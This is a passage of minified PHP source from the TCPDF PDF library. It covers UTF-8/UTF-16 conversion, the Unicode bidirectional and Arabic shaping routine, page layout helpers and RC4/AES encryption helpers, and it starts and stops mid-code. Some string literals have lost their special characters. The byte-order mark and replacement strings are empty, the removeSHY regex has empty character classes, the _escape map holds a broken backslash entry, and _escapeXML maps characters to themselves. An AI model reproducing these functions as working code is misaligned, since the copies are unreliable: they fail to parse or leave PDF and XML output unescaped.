)/x"; public static $uni_type=array(); public static $uni_mirror=array(); public static $uni_arabicsubst=array(); public static $uni_laa_array=array(1570=>array(65269,65270,65269,65270),1571=>array(65271,65272,65271,65272),1573=>array(65273,65274,65273,65274),1575=>array(65275,65276,65275,65276)); public static $uni_diacritics=array(1612=>64606,1613=>64607,1614=>64608,1615=>64609,1616=>64610); public static $uni_utf8tolatin=array(8364=>128,338=>140,352=>138,376=>159,381=>142,8226=>149,710=>136,8224=>134,8225=>135,8230=>133,8212=>151,8211=>150,402=>131,8249=>139,8250=>155,339=>156,8240=>137,8222=>132,8220=>147,8221=>148,8216=>145,8217=>146,8218=>130,353=>154,732=>152,8482=>153,382=>158); public static $encmap=array(); public static $uni_identity_h="";}class TCPDF_FONTS{ protected static $cache_uniord=array(); public static function unichr($c,$unicode=true){if(!$unicode){return chr($c);}elseif($c<=0x7F){return chr($c);}elseif($c<=0x7FF){return chr(0xC0|$c>>6).chr(0x80|$c&0x3F);}elseif($c<=0xFFFF){return chr(0xE0|$c>>12).chr(0x80|$c>>6&0x3F).chr(0x80|$c&0x3F);}elseif($c<=0x10FFFF){return chr(0xF0|$c>>18).chr(0x80|$c>>12&0x3F).chr(0x80|$c>>6&0x3F).chr(0x80|$c&0x3F);}else {return '';}} public static function unichrUnicode($c){return self::unichr($c,true);} public static function unichrASCII($c){return self::unichr($c,false);} public static function arrUTF8ToUTF16BE($unicode,$setbom=false){$outstr='';if($setbom){$outstr.="";}foreach($unicode as $char){if($char==0x200b){}elseif($char==0xFFFD){$outstr.="";}elseif($char<0x10000){$outstr.=chr($char>>0x08);$outstr.=chr($char&0xFF);}else {$char-=0x10000;$w1=0xD800|($char>>0x0a);$w2=0xDC00|($char&0x3FF);$outstr.=chr($w1>>0x08);$outstr.=chr($w1&0xFF);$outstr.=chr($w2>>0x08);$outstr.=chr($w2&0xFF);}}return $outstr;} public static function UTF8ArrayToUniArray($ta,$isunicode=true){if($isunicode){return array_map(array('TCPDF_FONTS','unichrUnicode'),$ta);}return array_map(array('TCPDF_FONTS','unichrASCII'),$ta);} public static function UTF8ArrSubString($strarr,$start='',$end='',$unicode=true){if(strlen($start)==0){$start=0;}if(strlen($end)==0){$end=count($strarr);}$string='';for($i=$start;$i<$end;++$i){$string.=self::unichr($strarr[$i],$unicode);}return $string;} public static function UniArrSubString($uniarr,$start='',$end=''){if(strlen($start)==0){$start=0;}if(strlen($end)==0){$end=count($uniarr);}$string='';for($i=$start;$i<$end;++$i){$string.=$uniarr[$i];}return $string;} public static function updateCIDtoGIDmap($map,$cid,$gid){if(($cid>=0) AND ($cid<=0xFFFF) AND ($gid>=0)){if($gid>0xFFFF){$gid-=0x10000;}$map[($cid*2)]=chr($gid>>8);$map[(($cid*2)+1)]=chr($gid&0xFF);}return $map;} public static function _getfontpath(){if(!defined('K_PATH_FONTS') AND is_dir($fdir=realpath(dirname(__FILE__).'/../fonts'))){if(substr($fdir,-1)!='/'){$fdir.='/';}define('K_PATH_FONTS',$fdir);}return defined('K_PATH_FONTS')?K_PATH_FONTS:'';} public static function getFontFullPath($file,$fontdir=false){$fontfile='';if(($fontdir!==false) AND @file_exists($fontdir.$file)){$fontfile=$fontdir.$file;}elseif(@file_exists(self::_getfontpath().$file)){$fontfile=self::_getfontpath().$file;}elseif(@file_exists($file)){$fontfile=$file;}return $fontfile;} public static function UTF8ArrToLatin1Arr($unicode){$outarr=array();foreach($unicode as $char){if($char<256){$outarr[]=$char;}elseif(array_key_exists($char,TCPDF_FONT_DATA::$uni_utf8tolatin)){$outarr[]=TCPDF_FONT_DATA::$uni_utf8tolatin[$char];}elseif($char==0xFFFD){}else {$outarr[]=63;}}return $outarr;} public static function UTF8ArrToLatin1($unicode){$outstr='';foreach($unicode as $char){if($char<256){$outstr.=chr($char);}elseif(array_key_exists($char,TCPDF_FONT_DATA::$uni_utf8tolatin)){$outstr.=chr(TCPDF_FONT_DATA::$uni_utf8tolatin[$char]);}elseif($char==0xFFFD){}else {$outstr.='?';}}return $outstr;} public static function uniord($uch){if(!isset(self::$cache_uniord[$uch])){self::$cache_uniord[$uch]=self::getUniord($uch);}return self::$cache_uniord[$uch];} public static function getUniord($uch){if(function_exists('mb_convert_encoding')){list(,$char)=@unpack('N',mb_convert_encoding($uch,'UCS-4BE','UTF-8'));if($char>=0){return $char;}}$bytes=array();$countbytes=0;$numbytes=1;$length=strlen($uch);for($i=0;$i<$length;++$i){$char=ord($uch[$i]);if($countbytes==0){if($char<=0x7F){return $char;}elseif(($char>>0x05)==0x06){$bytes[]=($char-0xC0)<<0x06;++$countbytes;$numbytes=2;}elseif(($char>>0x04)==0x0E){$bytes[]=($char-0xE0)<<0x0C;++$countbytes;$numbytes=3;}elseif(($char>>0x03)==0x1E){$bytes[]=($char-0xF0)<<0x12;++$countbytes;$numbytes=4;}else {return 0xFFFD;}}elseif(($char>>0x06)==0x02){$bytes[]=$char-0x80;++$countbytes;if($countbytes==$numbytes){$char=$bytes[0];for($j=1;$j<$numbytes;++$j){$char+=($bytes[$j]<<(($numbytes-$j-1)*0x06));}if((($char>=0xD800) AND ($char<=0xDFFF)) OR ($char>=0x10FFFF)){return 0xFFFD;}else {return $char;}}}else {return 0xFFFD;}}return 0xFFFD;} public static function UTF8StringToArray($str,$isunicode=true,&$currentfont){if($isunicode){$chars=TCPDF_STATIC::pregSplit('//','u',$str,-1,PREG_SPLIT_NO_EMPTY);$carr=array_map(array('TCPDF_FONTS','uniord'),$chars);}else {$chars=str_split($str);$carr=array_map('ord',$chars);}$currentfont['subsetchars']+=array_fill_keys($carr,true);return $carr;} public static function UTF8ToLatin1($str,$isunicode=true,&$currentfont){$unicode=self::UTF8StringToArray($str,$isunicode,$currentfont);return self::UTF8ArrToLatin1($unicode);} public static function UTF8ToUTF16BE($str,$setbom=false,$isunicode=true,&$currentfont){if(!$isunicode){return $str;}$unicode=self::UTF8StringToArray($str,$isunicode,$currentfont);return self::arrUTF8ToUTF16BE($unicode,$setbom);} public static function utf8StrRev($str,$setbom=false,$forcertl=false,$isunicode=true,&$currentfont){return self::utf8StrArrRev(self::UTF8StringToArray($str,$isunicode,$currentfont),$str,$setbom,$forcertl,$isunicode,$currentfont);} public static function utf8StrArrRev($arr,$str='',$setbom=false,$forcertl=false,$isunicode=true,&$currentfont){return self::arrUTF8ToUTF16BE(self::utf8Bidi($arr,$str,$forcertl,$isunicode,$currentfont),$setbom);} public static function utf8Bidi($ta,$str='',$forcertl=false,$isunicode=true,&$currentfont){$pel=0;$maxlevel=0;if(TCPDF_STATIC::empty_string($str)){$str=self::UTF8ArrSubString($ta,'','',$isunicode);}if(preg_match(TCPDF_FONT_DATA::$uni_RE_PATTERN_ARABIC,$str)){$arabic=true;}else {$arabic=false;}if(!($forcertl OR $arabic OR preg_match(TCPDF_FONT_DATA::$uni_RE_PATTERN_RTL,$str))){return $ta;}$numchars=count($ta);if($forcertl=='R'){$pel=1;}elseif($forcertl=='L'){$pel=0;}else {for($i=0;$i<$numchars;++$i){$type=TCPDF_FONT_DATA::$uni_type[$ta[$i]];if($type=='L'){$pel=0;break;}elseif(($type=='AL') OR ($type=='R')){$pel=1;break;}}}$cel=$pel;$dos='N';$remember=array();$sor=$pel%2?'R':'L';$eor=$sor;$chardata=Array();for($i=0;$i<$numchars;++$i){if($ta[$i]==TCPDF_FONT_DATA::$uni_RLE){$next_level=$cel+($cel%2)+1;if($next_level<62){$remember[]=array('num'=>TCPDF_FONT_DATA::$uni_RLE,'cel'=>$cel,'dos'=>$dos);$cel=$next_level;$dos='N';$sor=$eor;$eor=$cel%2?'R':'L';}}elseif($ta[$i]==TCPDF_FONT_DATA::$uni_LRE){$next_level=$cel+2-($cel%2);if($next_level<62){$remember[]=array('num'=>TCPDF_FONT_DATA::$uni_LRE,'cel'=>$cel,'dos'=>$dos);$cel=$next_level;$dos='N';$sor=$eor;$eor=$cel%2?'R':'L';}}elseif($ta[$i]==TCPDF_FONT_DATA::$uni_RLO){$next_level=$cel+($cel%2)+1;if($next_level<62){$remember[]=array('num'=>TCPDF_FONT_DATA::$uni_RLO,'cel'=>$cel,'dos'=>$dos);$cel=$next_level;$dos='R';$sor=$eor;$eor=$cel%2?'R':'L';}}elseif($ta[$i]==TCPDF_FONT_DATA::$uni_LRO){$next_level=$cel+2-($cel%2);if($next_level<62){$remember[]=array('num'=>TCPDF_FONT_DATA::$uni_LRO,'cel'=>$cel,'dos'=>$dos);$cel=$next_level;$dos='L';$sor=$eor;$eor=$cel%2?'R':'L';}}elseif($ta[$i]==TCPDF_FONT_DATA::$uni_PDF){if(count($remember)){$last=count($remember)-1;if(($remember[$last]['num']==TCPDF_FONT_DATA::$uni_RLE) OR ($remember[$last]['num']==TCPDF_FONT_DATA::$uni_LRE) OR ($remember[$last]['num']==TCPDF_FONT_DATA::$uni_RLO) OR ($remember[$last]['num']==TCPDF_FONT_DATA::$uni_LRO)){$match=array_pop($remember);$cel=$match['cel'];$dos=$match['dos'];$sor=$eor;$eor=($cel>$match['cel']?$cel:$match['cel'])%2?'R':'L';}}}elseif(($ta[$i]!=TCPDF_FONT_DATA::$uni_RLE) AND ($ta[$i]!=TCPDF_FONT_DATA::$uni_LRE) AND ($ta[$i]!=TCPDF_FONT_DATA::$uni_RLO) AND ($ta[$i]!=TCPDF_FONT_DATA::$uni_LRO) AND ($ta[$i]!=TCPDF_FONT_DATA::$uni_PDF)){if($dos!='N'){$chardir=$dos;}else {if(isset(TCPDF_FONT_DATA::$uni_type[$ta[$i]])){$chardir=TCPDF_FONT_DATA::$uni_type[$ta[$i]];}else {$chardir='L';}}$chardata[]=array('char'=>$ta[$i],'level'=>$cel,'type'=>$chardir,'sor'=>$sor,'eor'=>$eor);}}$numchars=count($chardata);$prevlevel=-1;$levcount=0;for($i=0;$i<$numchars;++$i){if($chardata[$i]['type']=='NSM'){if($levcount){$chardata[$i]['type']=$chardata[$i]['sor'];}elseif($i>0){$chardata[$i]['type']=$chardata[($i-1)]['type'];}}if($chardata[$i]['level']!=$prevlevel){$levcount=0;}else {++$levcount;}$prevlevel=$chardata[$i]['level'];}$prevlevel=-1;$levcount=0;for($i=0;$i<$numchars;++$i){if($chardata[$i]['char']=='EN'){for($j=$levcount;$j>=0;$j--){if($chardata[$j]['type']=='AL'){$chardata[$i]['type']='AN';}elseif(($chardata[$j]['type']=='L') OR ($chardata[$j]['type']=='R')){break;}}}if($chardata[$i]['level']!=$prevlevel){$levcount=0;}else {++$levcount;}$prevlevel=$chardata[$i]['level'];}for($i=0;$i<$numchars;++$i){if($chardata[$i]['type']=='AL'){$chardata[$i]['type']='R';}}$prevlevel=-1;$levcount=0;for($i=0;$i<$numchars;++$i){if(($levcount>0) AND (($i+1)<$numchars) AND ($chardata[($i+1)]['level']==$prevlevel)){if(($chardata[$i]['type']=='ES') AND ($chardata[($i-1)]['type']=='EN') AND ($chardata[($i+1)]['type']=='EN')){$chardata[$i]['type']='EN';}elseif(($chardata[$i]['type']=='CS') AND ($chardata[($i-1)]['type']=='EN') AND ($chardata[($i+1)]['type']=='EN')){$chardata[$i]['type']='EN';}elseif(($chardata[$i]['type']=='CS') AND ($chardata[($i-1)]['type']=='AN') AND ($chardata[($i+1)]['type']=='AN')){$chardata[$i]['type']='AN';}}if($chardata[$i]['level']!=$prevlevel){$levcount=0;}else {++$levcount;}$prevlevel=$chardata[$i]['level'];}$prevlevel=-1;$levcount=0;for($i=0;$i<$numchars;++$i){if($chardata[$i]['type']=='ET'){if(($levcount>0) AND ($chardata[($i-1)]['type']=='EN')){$chardata[$i]['type']='EN';}else {$j=$i+1;while(($j<$numchars) AND ($chardata[$j]['level']==$prevlevel)){if($chardata[$j]['type']=='EN'){$chardata[$i]['type']='EN';break;}elseif($chardata[$j]['type']!='ET'){break;}++$j;}}}if($chardata[$i]['level']!=$prevlevel){$levcount=0;}else {++$levcount;}$prevlevel=$chardata[$i]['level'];}$prevlevel=-1;$levcount=0;for($i=0;$i<$numchars;++$i){if(($chardata[$i]['type']=='ET') OR ($chardata[$i]['type']=='ES') OR ($chardata[$i]['type']=='CS')){$chardata[$i]['type']='ON';}if($chardata[$i]['level']!=$prevlevel){$levcount=0;}else {++$levcount;}$prevlevel=$chardata[$i]['level'];}$prevlevel=-1;$levcount=0;for($i=0;$i<$numchars;++$i){if($chardata[$i]['char']=='EN'){for($j=$levcount;$j>=0;$j--){if($chardata[$j]['type']=='L'){$chardata[$i]['type']='L';}elseif($chardata[$j]['type']=='R'){break;}}}if($chardata[$i]['level']!=$prevlevel){$levcount=0;}else {++$levcount;}$prevlevel=$chardata[$i]['level'];}$prevlevel=-1;$levcount=0;for($i=0;$i<$numchars;++$i){if(($levcount>0) AND (($i+1)<$numchars) AND ($chardata[($i+1)]['level']==$prevlevel)){if(($chardata[$i]['type']=='N') AND ($chardata[($i-1)]['type']=='L') AND ($chardata[($i+1)]['type']=='L')){$chardata[$i]['type']='L';}elseif(($chardata[$i]['type']=='N') AND (($chardata[($i-1)]['type']=='R') OR ($chardata[($i-1)]['type']=='EN') OR ($chardata[($i-1)]['type']=='AN')) AND (($chardata[($i+1)]['type']=='R') OR ($chardata[($i+1)]['type']=='EN') OR ($chardata[($i+1)]['type']=='AN'))){$chardata[$i]['type']='R';}elseif($chardata[$i]['type']=='N'){$chardata[$i]['type']=$chardata[$i]['sor'];}}elseif(($levcount==0) AND (($i+1)<$numchars) AND ($chardata[($i+1)]['level']==$prevlevel)){if(($chardata[$i]['type']=='N') AND ($chardata[$i]['sor']=='L') AND ($chardata[($i+1)]['type']=='L')){$chardata[$i]['type']='L';}elseif(($chardata[$i]['type']=='N') AND (($chardata[$i]['sor']=='R') OR ($chardata[$i]['sor']=='EN') OR ($chardata[$i]['sor']=='AN')) AND (($chardata[($i+1)]['type']=='R') OR ($chardata[($i+1)]['type']=='EN') OR ($chardata[($i+1)]['type']=='AN'))){$chardata[$i]['type']='R';}elseif($chardata[$i]['type']=='N'){$chardata[$i]['type']=$chardata[$i]['sor'];}}elseif(($levcount>0) AND ((($i+1)==$numchars) OR (($i+1)<$numchars) AND ($chardata[($i+1)]['level']!=$prevlevel))){if(($chardata[$i]['type']=='N') AND ($chardata[($i-1)]['type']=='L') AND ($chardata[$i]['eor']=='L')){$chardata[$i]['type']='L';}elseif(($chardata[$i]['type']=='N') AND (($chardata[($i-1)]['type']=='R') OR ($chardata[($i-1)]['type']=='EN') OR ($chardata[($i-1)]['type']=='AN')) AND (($chardata[$i]['eor']=='R') OR ($chardata[$i]['eor']=='EN') OR ($chardata[$i]['eor']=='AN'))){$chardata[$i]['type']='R';}elseif($chardata[$i]['type']=='N'){$chardata[$i]['type']=$chardata[$i]['sor'];}}elseif($chardata[$i]['type']=='N'){$chardata[$i]['type']=$chardata[$i]['sor'];}if($chardata[$i]['level']!=$prevlevel){$levcount=0;}else {++$levcount;}$prevlevel=$chardata[$i]['level'];}for($i=0;$i<$numchars;++$i){$odd=$chardata[$i]['level']%2;if($odd){if(($chardata[$i]['type']=='L') OR ($chardata[$i]['type']=='AN') OR ($chardata[$i]['type']=='EN')){$chardata[$i]['level']+=1;}}else {if($chardata[$i]['type']=='R'){$chardata[$i]['level']+=1;}elseif(($chardata[$i]['type']=='AN') OR ($chardata[$i]['type']=='EN')){$chardata[$i]['level']+=2;}}$maxlevel=max($chardata[$i]['level'],$maxlevel);}for($i=0;$i<$numchars;++$i){if(($chardata[$i]['type']=='B') OR ($chardata[$i]['type']=='S')){$chardata[$i]['level']=$pel;}elseif($chardata[$i]['type']=='WS'){$j=$i+1;while($j<$numchars){if((($chardata[$j]['type']=='B') OR ($chardata[$j]['type']=='S')) OR (($j==($numchars-1)) AND ($chardata[$j]['type']=='WS'))){$chardata[$i]['level']=$pel;break;}elseif($chardata[$j]['type']!='WS'){break;}++$j;}}}if($arabic){$endedletter=array(1569,1570,1571,1572,1573,1575,1577,1583,1584,1585,1586,1608,1688);$alfletter=array(1570,1571,1573,1575);$chardata2=$chardata;$laaletter=false;$charAL=array();$x=0;for($i=0;$i<$numchars;++$i){if((TCPDF_FONT_DATA::$uni_type[$chardata[$i]['char']]=='AL') OR ($chardata[$i]['char']==32) OR ($chardata[$i]['char']==8204)){$charAL[$x]=$chardata[$i];$charAL[$x]['i']=$i;$chardata[$i]['x']=$x;++$x;}}$numAL=$x;for($i=0;$i<$numchars;++$i){$thischar=$chardata[$i];if($i>0){$prevchar=$chardata[($i-1)];}else {$prevchar=false;}if(($i+1)<$numchars){$nextchar=$chardata[($i+1)];}else {$nextchar=false;}if(TCPDF_FONT_DATA::$uni_type[$thischar['char']]=='AL'){$x=$thischar['x'];if($x>0){$prevchar=$charAL[($x-1)];}else {$prevchar=false;}if(($x+1)<$numAL){$nextchar=$charAL[($x+1)];}else {$nextchar=false;}if(($prevchar!==false) AND ($prevchar['char']==1604) AND (in_array($thischar['char'],$alfletter))){$arabicarr=TCPDF_FONT_DATA::$uni_laa_array;$laaletter=true;if($x>1){$prevchar=$charAL[($x-2)];}else {$prevchar=false;}}else {$arabicarr=TCPDF_FONT_DATA::$uni_arabicsubst;$laaletter=false;}if(($prevchar!==false) AND ($nextchar!==false) AND ((TCPDF_FONT_DATA::$uni_type[$prevchar['char']]=='AL') OR (TCPDF_FONT_DATA::$uni_type[$prevchar['char']]=='NSM')) AND ((TCPDF_FONT_DATA::$uni_type[$nextchar['char']]=='AL') OR (TCPDF_FONT_DATA::$uni_type[$nextchar['char']]=='NSM')) AND ($prevchar['type']==$thischar['type']) AND ($nextchar['type']==$thischar['type']) AND ($nextchar['char']!=1567)){if(in_array($prevchar['char'],$endedletter)){if(isset($arabicarr[$thischar['char']][2])){$chardata2[$i]['char']=$arabicarr[$thischar['char']][2];}}else {if(isset($arabicarr[$thischar['char']][3])){$chardata2[$i]['char']=$arabicarr[$thischar['char']][3];}}}elseif(($nextchar!==false) AND ((TCPDF_FONT_DATA::$uni_type[$nextchar['char']]=='AL') OR (TCPDF_FONT_DATA::$uni_type[$nextchar['char']]=='NSM')) AND ($nextchar['type']==$thischar['type']) AND ($nextchar['char']!=1567)){if(isset($arabicarr[$chardata[$i]['char']][2])){$chardata2[$i]['char']=$arabicarr[$thischar['char']][2];}}elseif((($prevchar!==false) AND ((TCPDF_FONT_DATA::$uni_type[$prevchar['char']]=='AL') OR (TCPDF_FONT_DATA::$uni_type[$prevchar['char']]=='NSM')) AND ($prevchar['type']==$thischar['type'])) OR (($nextchar!==false) AND ($nextchar['char']==1567))){if(($i>1) AND ($thischar['char']==1607) AND ($chardata[$i-1]['char']==1604) AND ($chardata[$i-2]['char']==1604)){$chardata2[$i-2]['char']=false;$chardata2[$i-1]['char']=false;$chardata2[$i]['char']=65010;}else {if(($prevchar!==false) AND in_array($prevchar['char'],$endedletter)){if(isset($arabicarr[$thischar['char']][0])){$chardata2[$i]['char']=$arabicarr[$thischar['char']][0];}}else {if(isset($arabicarr[$thischar['char']][1])){$chardata2[$i]['char']=$arabicarr[$thischar['char']][1];}}}}elseif(isset($arabicarr[$thischar['char']][0])){$chardata2[$i]['char']=$arabicarr[$thischar['char']][0];}if($laaletter){$chardata2[($charAL[($x-1)]['i'])]['char']=false;}}}for($i=0;$i<($numchars-1);++$i){if(($chardata2[$i]['char']==1617) AND (isset(TCPDF_FONT_DATA::$uni_diacritics[($chardata2[$i+1]['char'])]))){if(isset($currentfont['cw'][(TCPDF_FONT_DATA::$uni_diacritics[($chardata2[$i+1]['char'])])])){$chardata2[$i]['char']=false;$chardata2[$i+1]['char']=TCPDF_FONT_DATA::$uni_diacritics[($chardata2[$i+1]['char'])];}}}foreach($chardata2 as $key=>$value){if($value['char']===false){unset($chardata2[$key]);}}$chardata=array_values($chardata2);$numchars=count($chardata);unset($chardata2);unset($arabicarr);unset($laaletter);unset($charAL);}for($j=$maxlevel;$j>0;$j--){$ordarray=Array();$revarr=Array();$onlevel=false;for($i=0;$i<$numchars;++$i){if($chardata[$i]['level']>=$j){$onlevel=true;if(isset(TCPDF_FONT_DATA::$uni_mirror[$chardata[$i]['char']])){$chardata[$i]['char']=TCPDF_FONT_DATA::$uni_mirror[$chardata[$i]['char']];}$revarr[]=$chardata[$i];}else {if($onlevel){$revarr=array_reverse($revarr);$ordarray=array_merge($ordarray,$revarr);$revarr=Array();$onlevel=false;}$ordarray[]=$chardata[$i];}}if($onlevel){$revarr=array_reverse($revarr);$ordarray=array_merge($ordarray,$revarr);}$chardata=$ordarray;}$ordarray=array();foreach($chardata as $cd){$ordarray[]=$cd['char'];$currentfont['subsetchars'][$cd['char']]=true;}return $ordarray;} public static function getFontRefSize($size,$refsize=12){switch($size){case 'xx-small':{$size=($refsize-4);break;}case 'x-small':{$size=($refsize-3);break;}case 'small':{$size=($refsize-2);break;}case 'medium':{$size=$refsize;break;}case 'large':{$size=($refsize+2);break;}case 'x-large':{$size=($refsize+4);break;}case 'xx-large':{$size=($refsize+6);break;}case 'smaller':{$size=($refsize-3);break;}case 'larger':{$size=($refsize+3);break;}}return $size;}}class TCPDF_STATIC{ private static $tcpdf_version='6.2.9'; public static $alias_tot_pages='{:ptp:}'; public static $alias_num_page='{:pnp:}'; public static $alias_group_tot_pages='{:ptg:}'; public static $alias_group_num_page='{:png:}'; public static $alias_right_shift='{rsc:'; public static $enc_padding="(N^NuAdNV..h>/dSiz"; public static $byterange_string='/ByteRange[0 ********** ********** **********]'; public static $pageboxes=array('MediaBox','CropBox','BleedBox','TrimBox','ArtBox'); public static $page_formats=array('A4'=>array(595.276,841.890),); public static function getTCPDFVersion(){return self::$tcpdf_version;} public static function getTCPDFProducer(){return "TCPDF ".self::getTCPDFVersion()." (http://www.tcpdf.org)";} public static function set_mqr($mqr){if(!defined('PHP_VERSION_ID')){$version=PHP_VERSION;define('PHP_VERSION_ID',(($version[0]*10000)+($version[2]*100)+$version[4]));}if(PHP_VERSION_ID<50300){@set_magic_quotes_runtime($mqr);}} public static function get_mqr(){if(!defined('PHP_VERSION_ID')){$version=PHP_VERSION;define('PHP_VERSION_ID',(($version[0]*10000)+($version[2]*100)+$version[4]));}if(PHP_VERSION_ID<50300){return @get_magic_quotes_runtime();}return 0;} public static function getPageSizeFromFormat($format){if(isset(self::$page_formats[$format])){return self::$page_formats[$format];}return self::$page_formats['A4'];} public static function setPageBoxes($page,$type,$llx,$lly,$urx,$ury,$points=false,$k,$pagedim=array()){if(!isset($pagedim[$page])){$pagedim[$page]=array();}if(!in_array($type,self::$pageboxes)){return;}if($points){$k=1;}$pagedim[$page][$type]['llx']=($llx*$k);$pagedim[$page][$type]['lly']=($lly*$k);$pagedim[$page][$type]['urx']=($urx*$k);$pagedim[$page][$type]['ury']=($ury*$k);return $pagedim;} public static function swapPageBoxCoordinates($page,$pagedim){foreach(self::$pageboxes as $type){if(isset($pagedim[$page][$type])){$tmp=$pagedim[$page][$type]['llx'];$pagedim[$page][$type]['llx']=$pagedim[$page][$type]['lly'];$pagedim[$page][$type]['lly']=$tmp;$tmp=$pagedim[$page][$type]['urx'];$pagedim[$page][$type]['urx']=$pagedim[$page][$type]['ury'];$pagedim[$page][$type]['ury']=$tmp;}}return $pagedim;} public static function getPageLayoutMode($layout='SinglePage'){switch($layout){case 'default':case 'single':case 'SinglePage':{$layout_mode='SinglePage';break;}case 'continuous':case 'OneColumn':{$layout_mode='OneColumn';break;}case 'two':case 'TwoColumnLeft':{$layout_mode='TwoColumnLeft';break;}case 'TwoColumnRight':{$layout_mode='TwoColumnRight';break;}case 'TwoPageLeft':{$layout_mode='TwoPageLeft';break;}case 'TwoPageRight':{$layout_mode='TwoPageRight';break;}default:{$layout_mode='SinglePage';}}return $layout_mode;} public static function getPageMode($mode='UseNone'){switch($mode){case 'UseNone':{$page_mode='UseNone';break;}case 'UseOutlines':{$page_mode='UseOutlines';break;}case 'UseThumbs':{$page_mode='UseThumbs';break;}case 'FullScreen':{$page_mode='FullScreen';break;}case 'UseOC':{$page_mode='UseOC';break;}case '':{$page_mode='UseAttachments';break;}default:{$page_mode='UseNone';}}return $page_mode;} public static function isValidURL($url){$headers=@get_headers($url);return (strpos($headers[0],'200')!==false);} public static function removeSHY($txt='',$unicode=true){$txt=preg_replace('/([]{1}[]{1})/','',$txt);if(!$unicode){$txt=preg_replace('/([]{1})/','',$txt);}return $txt;} public static function getBorderMode($brd,$position='start',$opencell=true){if((!$opencell) OR empty($brd)){return $brd;}if($brd==1){$brd='LTRB';}if(is_string($brd)){$slen=strlen($brd);$newbrd=array();for($i=0;$i<$slen;++$i){$newbrd[$brd[$i]]=array('cap'=>'square','join'=>'miter');}$brd=$newbrd;}foreach($brd as $border=>$style){switch($position){case 'start':{if(strpos($border,'B')!==false){$newkey=str_replace('B','',$border);if(strlen($newkey)>0){$brd[$newkey]=$style;}unset($brd[$border]);}break;}case 'middle':{if(strpos($border,'B')!==false){$newkey=str_replace('B','',$border);if(strlen($newkey)>0){$brd[$newkey]=$style;}unset($brd[$border]);$border=$newkey;}if(strpos($border,'T')!==false){$newkey=str_replace('T','',$border);if(strlen($newkey)>0){$brd[$newkey]=$style;}unset($brd[$border]);}break;}case 'end':{if(strpos($border,'T')!==false){$newkey=str_replace('T','',$border);if(strlen($newkey)>0){$brd[$newkey]=$style;}unset($brd[$border]);}break;}}}return $brd;} public static function empty_string($str){return (is_null($str) OR (is_string($str) AND (strlen($str)==0)));} public static function getObjFilename($type='tmp',$file_id=''){return tempnam(K_PATH_CACHE,'__tcpdf_'.$file_id.'_'.$type.'_'.md5(TCPDF_STATIC::getRandomSeed()).'_');} public static function _escape($s){return strtr($s,array(')'=>'\)','('=>'\(','\'=>'\',chr(13)=>'
'));} public static function _escapeXML($str){$replaceTable=array(""=>'','&'=>'&','<'=>'<','>'=>'>');$str=strtr($str,$replaceTable);return $str;} public static function objclone($object){if(($object instanceof Imagick) AND (version_compare(phpversion('imagick'),'3.0.1')!==1)){return @$object->clone();}return @clone($object);} public static function sendOutputData($data,$length){if(!isset($_SERVER['HTTP_ACCEPT_ENCODING']) OR empty($_SERVER['HTTP_ACCEPT_ENCODING'])){header('Content-Length: '.$length);}echo $data;} public static function replacePageNumAliases($page,$replace,$diff=0){foreach($replace as $rep){foreach($rep[3] as $a){if(strpos($page,$a)!==false){$page=str_replace($a,$rep[0],$page);$diff+=($rep[2]-$rep[1]);}}}return array($page,$diff);} public static function getTimestamp($date){if(($date[0]=='D') AND ($date[1]==':')){$date=substr($date,2);}return strtotime($date);} public static function getFormattedDate($time){return substr_replace(date('YmdHisO',intval($time)),'\'',(0-2),0).'\'';} public static function _getULONG($str,$offset){$v=unpack('Ni',substr($str,$offset,4));return $v['i'];} public static function _getUSHORT($str,$offset){$v=unpack('ni',substr($str,$offset,2));return $v['i'];} public static function _getSHORT($str,$offset){$v=unpack('si',substr($str,$offset,2));return $v['i'];} public static function _getFWORD($str,$offset){$v=self::_getUSHORT($str,$offset);if($v>0x7fff){$v-=0x10000;}return $v;} public static function _getUFWORD($str,$offset){$v=self::_getUSHORT($str,$offset);return $v;} public static function _getFIXED($str,$offset){$m=self::_getFWORD($str,$offset);$f=self::_getUSHORT($str,($offset+2));$v=floatval(''.$m.'.'.$f.'');return $v;} public static function _getBYTE($str,$offset){$v=unpack('Ci',substr($str,$offset,1));return $v['i'];} public static function rfread($handle,$length){$data=fread($handle,$length);if($data===false){return false;}$rest=($length-strlen($data));if($rest>0){$data.=self::rfread($handle,$rest);}return $data;} public static function _freadint($f){$a=unpack('Ni',fread($f,4));return $a['i'];} public static function getRandomSeed($seed=''){$rnd=uniqid(rand().microtime(true),true);if(function_exists('posix_getpid')){$rnd.=posix_getpid();}if(function_exists('openssl_random_pseudo_bytes') AND (strtoupper(substr(PHP_OS,0,3))!=='WIN')){$rnd.=openssl_random_pseudo_bytes(512);}else {for($i=0;$i<23;++$i){$rnd.=uniqid('',true);}}return $rnd.$seed.__FILE__.serialize($_SERVER).microtime(true);} public static function _md5_16($str){return pack('H*',md5($str));} public static function _AES($key,$text){$padding=16-(strlen($text)%16);$text.=str_repeat(chr($padding),$padding);$iv=mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128,MCRYPT_MODE_CBC),MCRYPT_RAND);$text=mcrypt_encrypt(MCRYPT_RIJNDAEL_128,$key,$text,MCRYPT_MODE_CBC,$iv);$text=$iv.$text;return $text;} public static function _RC4($key,$text,&$last_enc_key,&$last_enc_key_c){if(function_exists('mcrypt_encrypt') AND ($out=@mcrypt_encrypt(MCRYPT_ARCFOUR,$key,$text,MCRYPT_MODE_STREAM,''))){return $out;}if($last_enc_key!=$key){$k=str_repeat($key,((256/strlen($key))+1));$rc4=range(0,255);$j=0;for($i=0;$i<256;++$i){$t=$rc4[$i];$j=($j+$t+ord($k[$i]))%256;$rc4[$i]=$rc4[$j];$rc4[$j]=$t;}$last_enc_key=$key;$last_enc_key_c=$rc4;}else {$rc4=$last_enc_key_c;}$len=strlen($text);$a=0;$b=0;$out='';for($i=0;$i<$len;++$i){$a=($a+1)%256;$t=$rc4[$a];$b=($b+$t)%256;$rc4[$a]=$rc4[$b];$rc4[$b]=$t;$k=$rc4[($rc4[$a]+$rc4[$b])%256];$out.=chr(ord($text[$i])^$k);}return $out;} public static function getUserPermissionCode($permissions,$mode=0){$options=array('owner'=>2,'print'=>4,'modify'=>8,'copy'=>16,'annot-forms'=>32,'fill-forms'=>256,'extract'=>512,'assemble'=>1024,'print-high'=>2048);$protection=2147422012;foreach($permissions as $permission){if(isset($options[$permission])){if(($mode>0) OR ($options[$permission]<=32)){if($options[$permission]==2){$protection+=$options[$permission];}else {$protection-=$options[$permission];}}}}return $protection;} public static function 